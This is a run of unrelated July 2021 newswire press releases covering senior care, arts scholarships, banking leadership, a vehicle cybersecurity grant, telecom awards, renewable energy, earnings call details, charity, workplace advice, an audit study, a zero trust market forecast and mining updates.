WelbeHealth is a physician-led healthcare organization that provides seniors with high quality, compassionate care so they can live in their own homes and communities rather than a nursing home. To accomplish this, WelbeHealth uses the PACE (Program of All-Inclusive Care for the Elderly) model. WelbeHealth currently operates four programs in the Stockton/Modesto, Pasadena/Burbank, Long Beach, and Fresno communities of California.

[i] Center for Consumer Engagement in Health Innovation, "Care That Works: Program for All-inclusive Care for the Elderly." https://www.healthinnovation.org/resources/publications/care-that-works-pace

[ii] National PACE Association, "COVID Data Demonstrates That the PACE Model Is Safer Than Nursing Home Care." https://www.npaonline.org/about-npa/press-releases/covid-data-demonstrates-pace-model-safer-nursing-home-care

SOURCE WelbeHealth

Related Links

welbehealth.com


UNCSA will use existing and new scholarship funds for the Posse members, along with a $500,000 grant ($100,000 per year for five years) from The Posse Foundation.

The Posse Foundation partners with top institutions that view diversity as integral to excellence. Many Posse Scholars are often the first in their families to attend college, or come from historically underrepresented communities.

"Our partnership with The Posse Foundation will help us begin to take action on the recommendation made by the Equity, Diversity, Inclusion and Belonging (EDIB) Advisory Committee to recruit exceptionally talented students from all walks of life who bring different socioeconomic, cultural, racial and ethnic backgrounds," said Chancellor Brian Cole , who in 2020 launched an EDIB initiative to identify and dismantle systems and practices of bias, exclusion and oppression on campus. "I believe that artists will be at the forefront of transformational change in our society, and the students who we train at UNCSA, with the support of Posse Arts, will lead that cultural shift," he added.

Deborah Bial, president and founder of Posse, said, "We are thrilled to collaborate with UNCSA on the new Posse Arts initiative. What a fantastic opportunity for the young people who are hoping to lead in the arts. We look forward to working with Chancellor Cole and the UNCSA team."

Through the partnership that was established with support of the Miranda Family Fund, Posse Arts will use its signature assessment process and the rigorous conservatory admissions criteria already in place at UNCSA to recruit undergraduate prospects in Charlotte, Cleveland, Dallas, Denver, Memphis, Newark, Philadelphia and Phoenix. Top recruits, as determined by UNCSA deans and Admissions staff, will enter the UNCSA admissions cycle, which includes interviews with faculty and deans and auditions or portfolio presentations. In addition to receiving full scholarships, Posse Artists will have the opportunity to participate in workshops and retreats with their peers, faculty mentors and Posse trainers.

"The process will dovetail nicely with the work of our Admissions team," said UNCSA Executive Vice Chancellor and Provost Patrick J. Sims , who is providing leadership for the initiative. Sims worked with Posse Scholars programs in his previous position at the University of Wisconsin-Madison and was thrilled to learn of the new initiative geared specifically to the arts. "This is a perfect fit for UNCSA," he said. "The Posse Foundation brings to the partnership its vast network for recruiting and its expertise in supporting and mentoring students from underrepresented populations."

Sims said UNCSA plans to admit 10 students through Posse Arts for fall 2022. He hopes each UNCSA conservatory  Dance, Design and Production, Drama, Filmmaking, and Music  will have at least one Posse recruit.

"As a community of artists, UNCSA will reap the rewards of partnering with Posse Arts to create a more diverse student body. We are storytellers, and we are committed to telling stories that inspire justice," he said. "We need to hear the voices of populations that have not been heard. That is vital to the mission of UNCSA and it is vital to all of our students who will lead in creative industries for generations to come."

The benefits to colleges and universities that adopt the Posse program include improved relations between college administration and the student body, and among the student body; increased diversity within student organizations and among organization leaders; and greater diversity of viewpoints in classroom discussions.

About The Posse Foundation

Posse started in 1989, inspired by a student who said, "I never would have dropped out of college if I'd had my posse with me."

Posse Scholars represent the diversity of the cities from which they are recruited. To be considered for the award, students must first be nominated by their high school or a community-based organization. Nominees then take part in Posse's Dynamic Assessment Process, an innovative, nontraditional method for assessing leadership and academic potential.

Posse partners with 63 highly selective colleges and recruits dynamic students from more than 20 cities across the United States. To date, more than 10,000 students have won over $1.6 billion in scholarships from Posse partner colleges and universities. Most importantly, Scholars graduate at a rate of 90 percent  a rate that well exceeds the national average and equals or exceeds the average graduation rates at most selective colleges in the United States.

About the Posse Arts Initiative

The Posse Arts initiative was established in the spring of 2021 with the goal of guiding diverse undergraduates into creative fields. Former first lady Michelle Obama announced the initiative at a panel hosted by Miranda, saying, " starting next year talented dancers and graphic artists and actors, musicians and more, will head off on their college journeys together, supporting each other every step of the way."

Miranda, a winner of the Pulitzer Prize and Grammy, Emmy and Tony awards, said, "I wish I'd had an Arts Posse when I was looking at colleges. Much of my career has been about challenging and expanding notions of who belongs and who gets to lead. For 30-plus years, Posse has been doing the exact same thing in higher education. It makes so much sense that our Family Fund would look to partner with Posse to realize our shared goal of greater diversity of leadership of the arts."

Miranda said he hopes Posse Arts brings "new stories, more perspectives. Our culture is richer when you have that."

In addition to demonstrating exceptional leadership and academic potential, candidates for the program must also show artistic promise. Admitted students attend college in a cohort of peers (an "Arts Posse").

The University of North Carolina School of the Arts is America's first state-supported arts school, a unique stand-alone public university of arts conservatories. With a high school component, UNCSA is a degree-granting institution that trains young people of talent in dance, design and production, drama, filmmaking, and music. Established by the N.C. General Assembly in 1963, the School of the Arts opened in Winston-Salem ("The City of Arts and Innovation") in 1965 and became part of the University of North Carolina system when it was formed in 1972. For more information, visit www.uncsa.edu.

SOURCE University of North Carolina School of the Arts

Related Links

http://www.uncsa.edu


ATMORE, Ala., July 14, 2021 /PRNewswire/ -- The Board of Directors for United Bancorporation of Alabama, Inc. (OTCQX: UBAB), the parent company of United Bank and UB Community Development, announces the retirement of Bob Jones, who is 69, from his positions of chief executive officer and president of United Bancorporation of Alabama, Inc. and United Bank, effective July 2, 2021. The Board thanks Jones for his years of service and appreciates the company's achievements during that time.

The Board of Directors has elected Michael R. (Mike) Vincent to serve as interim president of United Bancorporation of Alabama, Inc. and United Bank. Vincent will continue to serve as chief credit officer of United Bank. In addition, the Board of Directors has elected Gwendolyn B. (Gwen) Braden to serve as executive vice president and chief operating officer of United Bank.

Mike Vincent previously served as executive vice president and chief credit officer of United Bank. Vincent joined United Bank in 2006. The Board promoted Vincent to chief credit officer in 2014.

Gwen Braden has returned to serve as executive vice president and chief operating officer of United Bank. Braden has been with United Bank since 2005, and from 2013 until January 2021 she served as executive vice president and chief operating officer. Prior to her recent return, Braden was a consultant to United Bank.

David Swift is a director of United Bancorporation of Alabama and United Bank. He joined United Bank's board in 1994 and has served as its chairman since 1997. Swift has been elected to serve as interim chief executive officer of United Bank and United Bancorporation of Alabama, Inc. Regarding the changes, Swift said: "We look forward to the continued growth of United, including, in particular, the acquisition of Town-Country National Bank. We are excited about welcoming Town-Country to the United family in the near future."

"This is a great time for United Bank especially because we have the opportunity to advance superb talent from within the company," Swift continued. "Because of their long history with United Bank, the elevation of Mike Vincent to interim president and the return of Gwen Braden to her role as executive vice president and chief operating officer have the added benefit of ensuring a seamless transition for both employees and customers."

Jones joined the company in 1990 and became president and chief executive officer in 1992. He is 69 years old and has had a long career in the banking industry.

Contact:

David Swift

Chairman of the Board

(251) 929-9399

SOURCE United Bancorporation
DETROIT, July 14, 2021 /PRNewswire/ -- University of Detroit Mercy received a $1.12-million grant from the United States Department of Defense (DoD) to establish the Metro-Detroit Regional Vehicle Cybersecurity Institute, a regional-based, cybersecurity consortium.

Led by Detroit Mercy, the consortium consists of multiple academic institutions in southeast Michigan and includes University of Arizona as a research partner. This consortium will enhance the cybersecurity engineering workforce through an applied curriculum developed in consultation with industry partners. It also supports upskilling and reskilling for vehicle cybersecurity by prioritizing underrepresented populations, military personnel and veterans. Instruction will begin this fall.

The grant is awarded through Griffiss Institute's Virtual Institutes for Cyber and Electromagnetic Spectrum Research and Employ (VICEROY) program, which establishes cyber institutes at higher learning institutions with the purpose of critical cyber operational skill development for future military and civilian leaders.

The Metro-Detroit Regional Vehicle Cybersecurity Institute initially includes Detroit Mercy, pipeline institutions Washtenaw Community College, Oakland Community College and Macomb Community College, and University of Arizona, which will provide research support to the consortium through its research institute that was established in 2014.

University of Michigan and Henry Ford College will join the consortium during the 2023-24 academic year.

Paul Spadafora, director of Professional Engineering Programs for Detroit Mercy's College of Engineering & Science, said it's important to establish the consortium because cybersecurity is a growing threat.

"Without an increase to the workforce now, the cybersecurity risk to DoD and commercial ground vehicles will keep falling further behind threats from actors in multi-domain contested environments," said Spadafora, who is a co-principal investigator for the consortium, along with College of Engineering & Science Dean Katherine Snyder.

The U.S. Bureau of Labor Statistics reports that employment of cybersecurity engineers will grow 31% between 2019-29.

Curriculum for the consortium will be developed with the workforce in mind. It includes associate, undergraduate, graduate and doctoral degrees, stackable graduate certificates, hands-on laboratory training and cybersecurity immersion camps for high school students.

Kevin Tierney, vice president of Global Cybersecurity at General Motors and chairman of the Automotive Information Sharing and Analysis Center, sees the automotive industry's shortage of cybersecurity personnel firsthand.

"We envision that the Metro-Detroit Regional Vehicle Cybersecurity Institute will lead in the education of our current and future company employees, expand the competency of our workforce to design and protect secure physical cyber systems, including those in electric and autonomous vehicles," Tierney said.

SOURCE University of Detroit Mercy

Related Links

http://www.udmercy.edu


"Verizon understands the inherent flexibility available with IP-based communications services and has consistently leveraged it to delight customers," said Michael Brandenburg, Senior Industry Analyst, Connected Work. "In response to the 2020 pandemic, many large enterprises embraced Microsoft Teams as a collaboration and meetings platform to support the shift to work from home and distributed workforce strategies. Verizon was particularly well positioned to support these customers with its incorporation of native voice calling within Teams."

In response to customer requests for better direct control and more visibility of their SIP network, Verizon has rolled out a line of new features in the Verizon Enterprise Center portal giving customers easy access to order new services, analyze and make changes to existing services, and easily reach out for additional training or support when needed. Verizon continues to expand its international SIP footprint with additional supported countries in EMEA, APAC and Latin America to remain one of the premier service providers to multinational companies.

"The definition of SIP Trunking has evolved dramatically over the last few years, and enterprise customers are more selective than ever," said Alex Doyle, executive director of Advanced Communications, Verizon Business. "Verizon's expansion of SIP Trunking to include Microsoft Teams Direct Routing and native integration with Verizon Wireless aims to provide that optionality for customers. In addition, we continue to expand globally, launching new automation features to help our customers transform their business in a cloud-first, mobile-first world."

Verizon is one of the few service providers in the North American market with a full line of wireless, wireline, and IP-based services and networks for both businesses and consumers. It is also expanding its application scope by providing a high-quality VoIP connection both on and off its global network. Besides its traditional dedicated multi-protocol label switching (MPLS) or wired access links, Verizon offers SIP trunking services across its wireless Long-term Evolution (LTE) network, fiber optic broadband Fios network, over software-defined wide area networks (SD-WAN) and third-party broadband access. It now plans to validate IP trunking across both its private and broadband 5G wireless networks, offering another level of connectivity to customers.

"Verizon offers additional capabilities to extend the value of its SIP trunking services. These include shared trunking through BEST, bursting capabilities with BEST+, enterprise-level concurrent calls and on-net routing, and multi-site, multi-country deployment options. Customers are given access to detailed traffic reports and a centralized management dashboard so they have complete control over their services," noted Brandenburg. "Its commitment to innovation and customer experience has ideally positioned Verizon to support enterprise customers that are evolving their communications services."

Each year, Frost & Sullivan bestows this award upon the company that demonstrates excellence in growth and customer value. Attaining loyal customers who became brand advocates allows the company to grow and achieve a market leadership position. By committing to the customer at each stage of the buying cycle and continuing to nurture the relationship, this award recognizes a company's increased market share over time.

Frost & Sullivan Best Practices awards recognize companies in a variety of regional and global markets for demonstrating outstanding achievement and superior performance in areas such as leadership, technological innovation, customer service, and strategic product development. Industry analysts compare market participants and measure performance through in-depth interviews, analysis, and extensive secondary research to identify best practices in the industry.

About Frost & Sullivan

For six decades, Frost & Sullivan has been world-renowned for its role in helping investors, corporate leaders, and governments navigate economic changes and identify disruptive technologies, Mega Trends, new business models, and companies to action, resulting in a continuous flow of growth opportunities to drive future success. Contact us: Start the discussion. Contact us: Start the discussion.

Contact:

Lindsey Whitaker

P: +1 (210) 477-8457

E: [email protected]

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SOURCE Frost & Sullivan
Under the agreed terms, the clean energy contracted for Wellington Management is expected to equal or exceed the electricity needs for all of Wellington's US corporate offices as well as residential electricity usage of more than 2,200 employees in the US.

Wellington Management CEO Jean Hynes said "Our collaborative research partnership with Woodwell Climate Research Center has underscored the importance of limiting carbon emissions to avoid the worst effects of climate change. We are pleased to partner with Enel Green Power on this forward-thinking initiative that will help bring enough new renewable energy online to match our US employees' total office and home electricity usage."

This deal represents an innovative model for corporate renewable energy buyers by enabling them to address the new, more decentralized, nature of post-COVID operations as many workers shift from office to remote work. The agreement also underscores how Wellington Management continues to move toward its goal of deploying 100% renewable energy for its corporate operations in all available markets by 2022.

"As more companies adopt long-term remote work models post-pandemic, their electricity usage will inherently shift from a centralized office to their employees' homes. This progressive, first-of-its-kind partnership with Wellington demonstrates how businesses can evolve their sustainability planning to meet the needs of this new operational landscape," said Georgios Papadimitriou, Head of Enel Green Power in the US and Canada.

Enel Green Power's 140 MW Rockhaven wind project, which is currently under construction, is located in Carter and Murray Counties in Oklahoma and is expected to achieve commercial operation by the end of 2021.

Enel Green Power North America is a leading developer, long-term owner and operator of renewable energy plants in North America, with a presence in 14 US states and one Canadian province. The company operates 58 plants with a managed capacity of over 6.7 GW powered by renewable wind, geothermal and solar energy. Enel Green Power is the partner of choice for over 20 global brands and utilities looking to purchase renewable energy. Learn more at www.enelgreenpower.com/our-offer/our-partners .

Enel Green Power, within the Enel Group, is dedicated to the development and operation of renewables across the world, with a presence in Europe, the Americas, Asia, Africa and Oceania. Enel Green Power is a global leader in the green energy sector with a managed capacity of around 49 GW across a generation mix that includes wind, solar, geothermal and hydropower, and is at the forefront of integrating innovative technologies into renewable power plants.

About Wellington Management

Tracing its history to 1928, Wellington Management is one of the world's largest independent investment management firms, serving as a trusted adviser to over 2,200 clients in more than 60 countries. The firm manages more than US$1.3 trillion for pensions, endowments and foundations, insurers, family offices, fund sponsors, global wealth managers, and other clients. As a private partnership whose only business is investment management, the firm is able to align its long-term views and interests with those of its clients. The firm offers comprehensive investment management capabilities that span nearly all segments of the global capital markets, including equity, fixed income, multi-asset, sustainable investing, and alternative strategies. With more than 800 investment professionals located in offices around the world, Wellington pairs deep multi-disciplinary research resources with independent investment teams operating in an entrepreneurial "boutique" environment. For more information about the firm or its approach to sustainable investing, please visit www.wellington.com or www.wellington.com/en/sustainable-investing/.

Contact:

Media Relations

[email protected]

SOURCE Enel Green Power North America

Related Links

http://www.enelgreenpower.com


TOLEDO, Ohio, July 14, 2021 /PRNewswire/ -- Welltower Inc. (NYSE: WELL) today announced that it will release second quarter 2021 financial results after the close of trading on the New York Stock Exchange on Thursday, July 29, 2021. The Company will host a conference call and webcast on Friday, July 30, 2021 at 9:00 a.m. Eastern Time to discuss these results. The Company's earnings release will be available in the Investors section of the Company's website.

Investors and other interested parties may access the conference call in the following ways:

Webcast. Joining via webcast is strongly encouraged for those who will not be asking questions. The webcast may be accessed through the Company's website: www.welltower.com or directly at: https://edge.media-server.com/mmc/p/xcyd4ipi. A webcast replay will be available approximately two hours after the conclusion of the conference call and will be available for 90 days.

Phone. For those asking questions or unable to join via webcast, the United States dial-in number is (844) 467-7115. The international dial-in number is (409) 983-9837. The conference ID number is 5191208. All phone participants are asked to dial in 15 minutes prior to the start of the call to ensure connectivity.

dial-in number is (844) 467-7115. The international dial-in number is (409) 983-9837. The conference ID number is 5191208. All phone participants are asked to dial in 15 minutes prior to the start of the call to ensure connectivity. A replay of the conference call will be available beginning at approximately 1:00 p.m. Eastern Time on July 30th, 2021 and ending on August 13, 2021 . The replay dial-in number for U.S. participants is (855) 859-2056. For international participants, the replay dial-in is (404) 537-3406. The replay conference ID number is 5191208.

About Welltower

Welltower Inc. (NYSE: WELL), an S&P 500 company headquartered in Toledo, Ohio, is driving the transformation of health care infrastructure. The Company invests with leading seniors housing operators, post-acute providers and health systems to fund the real estate and infrastructure needed to scale innovative care delivery models and improve people's wellness and overall health care experience. Welltower, a real estate investment trust ("REIT"), owns interests in properties concentrated in major, high-growth markets in the United States, Canada and the United Kingdom, consisting of seniors housing, post-acute communities and outpatient medical properties. More information is available at www.welltower.com .

SOURCE Welltower Inc.

Related Links

http://www.welltower.com


JOHNS CREEK, Ga., July 14, 2021 /PRNewswire/ -- Together The WFG Foundation, the WFG Charitable Trust, and the independent agents of World Financial Group (WFG) donated nearly $1 million to nonprofit organizations in the first half of 2021.

Organizations that received the donations included the International Rescue Committee, Feeding America, Wells of Hope, the Ironman Foundation, Food Banks of Canada, Cystic Fibrosis Canada and many others.

In the United States, The WFG Foundation and WFG agents donated over $631,000 to the International Rescue Committee, Feeding America and other organizations. World System Builder, a WFG team, lead donation efforts to help solve hunger challenges, improve water quality in areas around the world, and offer aid to humanitarian crises and relief efforts worldwide. Additionally, as part of the matching efforts from The WFG Foundation, WFG insurance agents generated $220,000 in matching donations that went to support organizations serving communities via arts, health, and human services programs. The WFG agents' impact on organizations in their communities totaled $851,000 in the United States alone.

The WFG Charitable Trust in Canada donated over $105,000 to help agents fund charities including Food Banks Canada, The Lion Heart Foundation and the Make a Wish Foundation of Canada, among others. With additional contributions including matched funds, WFG agents and the Trust donated a total of $131,000 in Canada.

Through The WFG Foundation in the United States and the WFG Charitable Trust in Canada, WFG agents can request matching funds for charities in their communities. These donations serve to double the WFG insurance agents' contributions to nonprofits and show community support.

"In 2020 we saw our agents meet the challenges of Covid-19, donating over $1 million to organizations in need," said Susan Davies, President of The WFG Foundation. "In 2021, our agents throughout the United States and Canada continue to put the needs of the community as a top priority. While they make a difference in the lives of people through their businesses, they also make a difference in the lives of people through community outreach and raising funds for those in need worldwide."

About World Financial Group

World Financial Group (WFG) consists of World Financial Group Insurance Agency, LLC and its subsidiaries in the United States and World Financial Group Insurance Agency of Canada Inc., whose agents offer life insurance and other fixed products when properly licensed and appointed. Learn more at WorldFinancialGroup.com.

U.S. Headquarters: 11315 Johns Creek Parkway, Suite 100, Johns Creek, Ga. 30097

Canadian Headquarters: 5000 Yonge Street, Suite 800, Toronto, ON M2N 7E9

About The WFG Foundation and the WFG Charitable Trust

The WFG Foundation is an independent, nonprofit 501(c)(3) organization dedicated to improving the quality of people in the communities where our agents work and live. Donations and contributions to The WFG Foundation provide matching grants to qualified charitable contributions given by U.S. WFG agents to causes important to them in the United States and throughout the world.

The WFG Charitable Trust is a Canadian registered private foundation that raises money through individual and corporate donations to support charitable projects and to fund matching grants that can effectively double qualified charitable contributions given by Canadian WFG agents to causes that are important to them.

Press Inquiries: [email protected]

SOURCE WFG
COLLEGE PARK, Md., July 14, 2021 /PRNewswire/ -- While there is no single playbook for successfully bringing employees back to the office after pandemic restrictions have waned, Gerald Suarez at the University of Maryland's Robert H. Smith School of Business says there's a crucial element that leaders can use to ease the transition: empathy.

One of the toughest things that anyone can do, Suarez says, is starting something new or stopping something old.

"COVID-19 accelerated people leaving behind things the way they were and embracing the new way, which led to them developing new habits," says Suarez, professor of the practice in systems thinking and design. "Now people are being asked to abandon this new way and let go quickly. That manifests in disruption and vulnerability with people having already adapted and being forced to adapt once again."

It's these types of moments where leaders need to be sensitive to what people are going through, Suarez says. Understanding how employees are feeling at this time is critical to accelerating the organization's reintegration. "People have been impacted by this pandemic in varying scope and levels of intensity, and every conversation is unique."

Suarez offers five insights for leaders facing those tough conversations:

Look for meaning. Consider why someone is sharing specific details with you, Suarez says, but don't rush to solve the situation right then and there  just listen. "Silence is your friend. Don't interrupt, but ask questions for clarification when necessary," says Suarez. "'What do you mean by that?' 'Tell me more.' Or a simple nod, will allow you to relate to the situation at a deeper level."

Read between the lines. Stay in the moment and focus on what you hear and what you see. The unspoken parts of communication can offer relevant clues, Suarez says. "What emotions are you observing? What expressions and gestures are reinforcing the feeling? Are the spoken and unspoken communications in harmony? All of those details are important to pick up on," says Suarez. Seek the proper context. After allowing for the meaning and feelings to emerge, it is important to get some specifics and demonstrate curiosity, Suarez says. When, how and where did something happen? "Gather the facts, make your assumptions explicit and seek clarification. How widespread is this issue? Is this person representing the views of others or is this their own point of view? Paraphrase your understanding of the message and let the person react to it. Never walk away without this validation," says Suarez.

Assess the consequences. Are there unintended consequences or irreversible implications that may emerge? "As you seek empathy, be mindful of your own emotions. Are you genuinely interested in how others feel? Are you in tune with how they feel? How do you know? Are you mindful of how their emotions are influencing you?" says Suarez.

Don't watch the clock. When people ask if you have a minute, consider the intensity of the request and try not to postpone the conversation, Suarez says. They may change their minds and not tell you. Is this a priority that requires immediate action or attention? "Assess the risk of inaction or postponement," says Suarez. "Recognizing the time sensitivity with respect to the request is an opportunity to take action and our options should be to respond with compassion and comfort."

Go to Smith Brain Trust for related content at http://www.rhsmith.umd.edu/faculty-research/smithbraintrust and follow on Twitter @SmithBrainTrust.

About the University of Maryland's Robert H. Smith School of Business

The Robert H. Smith School of Business is an internationally recognized leader in management education and research. One of 12 colleges and schools at the University of Maryland, College Park, the Smith School offers undergraduate, full-time and part-time MBA, executive MBA, online MBA, specialty masters, PhD and executive education programs, as well as outreach services to the corporate community. The school offers its degree, custom and certification programs in learning locations in North America and Asia.

Contact: Greg Muraski at [email protected]

SOURCE University of Maryland's Robert H. Smith School of Business
LAKEWOOD RANCH, Fla., July 14, 2021 /PRNewswire/ -- A recent study published by the American Accounting Association finds auditors don't place a premium on work-life balance, but the quality of their audits suffers if that balance is absent.

"The conventional wisdom is that job satisfaction and work-life balance are tied to the quality of our work, but nobody had actually tested this for auditors," says Jagan Krishnan, co-author of the study and a professor of accounting at Temple University.

"We wanted to answer several related questions," says Joshua Khavis, co-author of the study and an assistant professor of accounting at the University at Buffalo. "What do accounting employees think about their employers? Does job satisfaction relate to the quality of the firm's audits? What about work-life balance?

"The answers were surprising."

To begin addressing these questions, the researchers retrieved data from the jobs website GlassDoor.com, which features company reviews by employees. The researchers ultimately examined 19,673 employee reviews of 137 accounting firms. The reviews offered data on employee satisfaction across many different aspects of the workplace, including compensation, career opportunities, and work-life balance.

The researchers used that data to compute employee rating scores for each accounting firm for each year. They then matched each firm with its clients for the relevant year and looked at each client's outcomes. This allowed the researchers to establish the quality of each firm's audits in the given year.

The researchers used computational models to account for extraneous variables, and ultimately found that "career opportunities," "senior management," and "culture and values" were the workplace aspects most closely associated with employee satisfaction. Surprisingly, "compensation and benefits" and "work-life balance" were least associated with satisfaction.

However, the researchers also found that job satisfaction was not associated with audit quality.

"Instead, we found that work-life balance was associated with high quality audits," Khavis says.

"Our interpretation is that many of the people reviewing employers online were young folks coming right out of college, and they attach more importance to career opportunities and so on, compared to work-life balance," Krishnan says. "But being overworked affects overall audit quality. Most people understand that when you are overworked, you are more likely to make mistakes. Job satisfaction can't make up for that.

"For accounting firms, it drives home that recruiting and retaining good personnel isn't enough. Work-life balance is important to ensure auditors do their jobs well, certifying the quality of financial statements people rely on."

The paper, "Employee Satisfaction and Work-Life Balance in Accounting Firms and Audit Quality," is published in Auditing: A Journal of Practice & Theory.

The American Accounting Association (www.aaahq.org) is the largest community of accountants in academia. Founded in 1916, we have a rich and reputable history built on leading-edge research and publications. The diversity of our membership creates a fertile environment for collaboration and innovation. Collectively, we shape the future of accounting through teaching, research and a powerful network, ensuring our position as thought leaders in accounting.

Media Contacts:

Joshua Khavis, [email protected]

Jagan (Krish) Krishnan, [email protected]

David Twiddy, [email protected] 941-556-4115

SOURCE American Accounting Association

Related Links

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SAN FRANCISCO, July 14, 2021 /PRNewswire/ -- The global zero trust security market size is expected to reach USD 59.43 billion by 2028, registering a CAGR of 15.2% from 2021 to 2028, according to a new study conducted by Grand View Research, Inc. The market is driven by the need to protect enterprise digital environments by averting lateral movement, leveraging network segmentation, simplifying granular user-access control, and implementing layer 7 threat prevention. The robust solutions for implementing a zero-trust security environment ensure the protection of computers, programs, and networks from unauthorized access. Moreover, preventing unwarranted access to critical data, as the adoption of technologies, such as cloud computing, Wi-Fi, and Internet of Things (IoT), coupled with outsourcing service, is increasing, is driving the growth of the market. The COVID-19 pandemic has further acted as a catalyst for market growth with enterprises investing in securing their networks, endpoints, and IT infrastructure with a zero-trust security framework.

Key Insights & Findings:

The Small and Medium Enterprises (SMEs) segment is anticipated to witness the fastest CAGR over the forecast period owing to increasing awareness and threat of unauthorized access during cyber attacks

The multi-factor authentication segment led the global market in 2020 and will expand further at the fastest CAGR from 2021 to 2028

The growth can be attributed to the need to overcome the challenges of revenue loss and data loss risks in the era of confidential and vulnerable data, as multi-factor authentication presents multiple layers of identity verification to grant access to an authorized individual

North America led the global market in 2020 and will remain dominant even during the forecast years

The growth is credited to the high-security investment from the large enterprises across the regional industries, such as BFSI, that are at constant risk of cyber attacks as well as internal fraudsters

Read 140 page market research report, "Zero Trust Security Market Size, Share & Trends Analysis Report By Deployment (Cloud, On-premises), By Security Type (Network, Endpoint), By Application Area, By Organization Size, By Authentication, By Region, And Segment Forecasts, 2021 - 2028", by Grand View Research

The threat to digitally stored information from unauthorized access is also driven by changing technological landscape. While technology revolutionizes a business process, it also creates vulnerabilities in online protected data. In addition, while internet connectivity improves the operational task of the business by speeding up the process and improving accessibility, the risk of cyber attacks also increases rapidly. Moreover, the rapid expansion of operational data exposed to cyber adversaries through mobile, other edge devices, and IOT and the dependence of companies on third-party vendors and service providers are some of the prevailing supply chain trends increasing the risk of cyberattacks to access information. Therefore, the implementation of a security solution ensures a zero-trust security environment in the organization to mitigate the risks arising from various business activities and internet connectivity.

The application of the zero trust model is parallel to the concept of cybersecurity as it focuses on preventing intrusion by securing the digital network. Several countries across the world introduced laws to prevent cybercrime and data theft, which is vital for safeguarding the BFSI, IT, telecom, defense, and healthcare, other major sectors. The increasing internal and external threat of unauthorized data accessibility and cybercrime due to the political and personal interest of hackers or intruders for earning easy money further pressurizes governments to update their policies regularly. For instance, China updated its cyber policy on December 1, 2019, which instructs both Chinese and foreign public as well as private companies and organizations to secure their networks. The cyber law in the U.S. varies based on the business sector and includes Health Insurance Portability and Accountability Act, 2002 (HIPAA); Homeland Security Act that also includes Federal Information Security Management Act (FISMA), and 1996 Gramm-Leach-Billey Act. Such cyber laws further necessitate the need to secure networking structure and boost the demand for authentication and cyber-solution that ensures a zero-trust security environment.

Grand View Research has segmented the global zero trust security market based on security type, deployment, organization size, authentication, application area, and region:

Zero Trust Security Type Outlook (Revenue, USD Million, 2017 - 2028)

Network



Data



Endpoint



Cloud



Others

Zero Trust Security Deployment Outlook (Revenue, USD Million, 2017 - 2028)

On-premises



Cloud

Zero Trust Security Organization Size Outlook (Revenue, USD Million, 2017 - 2028)

SMEs



Large Enterprise

Zero Trust Security Authentication Outlook (Revenue, USD Million, 2017  2028)

Single-factor Authentication



Multi-factor Authentication

Zero Trust Security Application Area Outlook (Revenue, USD Million, 2017 - 2028)

IT & Telecom



BFSI



Healthcare



Retail



Others

Zero Trust Security Regional Outlook (Revenue, USD Million, 2017 - 2028)

North America



U.S.





Canada



Europe



Germany





U.K.



Asia Pacific



China





Japan





India



Latin America



Brazil





Mexico



Middle East & Africa

List of Key Players of Zero Trust Security Market

Cisco Systems, Inc.

Akamai Technologies

Palo Alto Networks

Check Point Software Technologies

Trend Micro, Inc.

IBM Corp.

Symantec Corp.

FireEye, Inc.

McAfee Corp.

Forcepoint

Microsoft Corp.

VMWare, Inc.

Fortinet

Cloudflare, Inc.

SonicWall

Check out more studies related to cyber security, by Grand View Research:

Cloud Security Market  The global cloud security market size was valued at USD 4.88 billion in 2016. It is expected to rise at a CAGR of 13.9% over the forecast period.

 The global cloud security market size was valued at in 2016. It is expected to rise at a CAGR of 13.9% over the forecast period. Cyber Security Market  The global cyber security market size was valued at USD 167.13 billion in 2020 and is expected to register a CAGR of 10.9% from 2021 to 2028.

 The global cyber security market size was valued at in 2020 and is expected to register a CAGR of 10.9% from 2021 to 2028. Virtual Private Network Market The global virtual private network market size was valued at USD 25.65 billion in 2019 and is expected to expand at a compound annual growth rate (CAGR) of 17.4% from 2020 to 2027.

Browse through Grand View Research's coverage of the Global Next Generation Technologies Industry.

Gain access to Grand View Compass, our BI enabled intuitive market research database of 10,000+ reports

About Grand View Research

Grand View Research, U.S.-based market research and consulting company, provides syndicated as well as customized research reports and consulting services. Registered in California and headquartered in San Francisco, the company comprises over 425 analysts and consultants, adding more than 1200 market research reports to its vast database each year. These reports offer in-depth analysis on 46 industries across 25 major countries worldwide. With the help of an interactive market intelligence platform, Grand View Research helps Fortune 500 companies and renowned academic institutes understand the global and regional business environment and gauge the opportunities that lie ahead.

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SOURCE Grand View Research, Inc.
Output from the Gedabek mine, also in Azerbaijan, was 16,740oz in the three months to end June

( ) upped production slightly in its latest quarter but left its estimate for the current year unchanged at between 64,000 to 72,000 gold equivalent ounces.

The miner also said it expects to produce a maiden resource estimate for the new Zafar deposit in Azerbaijan either by the end of this month or early next.

Reza Vaziri, chief executive, added: "The company continues to work hard on the top-priority exploration of the new Zafar deposit, which has already demonstrated significant copper-gold drill hole intersections with encouraging copper, zinc and gold grades."

Output from the Gedabek mine, also in Azerbaijan, was 16,740oz in the three months to end June, against 15,431oz in the first quarter.

Most of the increase was gold, where output went up to 12,342oz from 12,035oz.

Second-quarter gold sales amounted to 13,947oz at an average price of US$1,808 per oz, with cash at the end of the period rising to US$36.6mln (US$22.9mln).

For the half-year to June, Anglo produced an equivalent 32,171oz (32,501oz).

Vaziri added: "The company produced a solid performance in the second quarter with production increasing to 16,740 gold equivalent ounces compared to 15,431 in the first quarter."

Cash generation during the second quarter was excellent at US$13.7mln, he added.
Central Copper Resources Limited's Kevin van Wouw, the chief executive officer joins Proactive to explain the plans after confirming intentions to float on AIM.

The company is focused on delivering a high-grade copper project into production and exploration of assets in the Democratic Republic of the Congo (DRC) and in the Republic of Zambia.

The funds raised will be directly invested into exploration and evaluation work programmes on the companys assets.
After receiving compelling drilling results from the project, the company decided to implement a second drilling shift with the aim of drilling out a JORC mineral resource.

A second drilling crew arrived at the Reung Kiet Project earlier this week.

( ) has started a double shift of drilling to extend its operations to 24-hours at the Reung Kiet Lithium Project in southern Thailand.

According to the company double shifting will allow it to accelerate the additional infill and extensional drilling required to support the objective of estimating a JORC 2012-compliant mineral resource, which is anticipated later this year.

The second drilling crew arrived at Reung Kiet earlier this week after undergoing the required COVID-19 protocols and testing.

Drilling operations remain unaffected by COVID-19 in Thailand.

Drilling results quite compelling

Pan Asia Metals managing director Paul Lock said: Our drilling results from Reung Kiet are quite compelling, the intersection widths and lithium grades at both prospects position the company well, warranting a second drilling shift and the required investment to drill out to a JORC mineral resource.

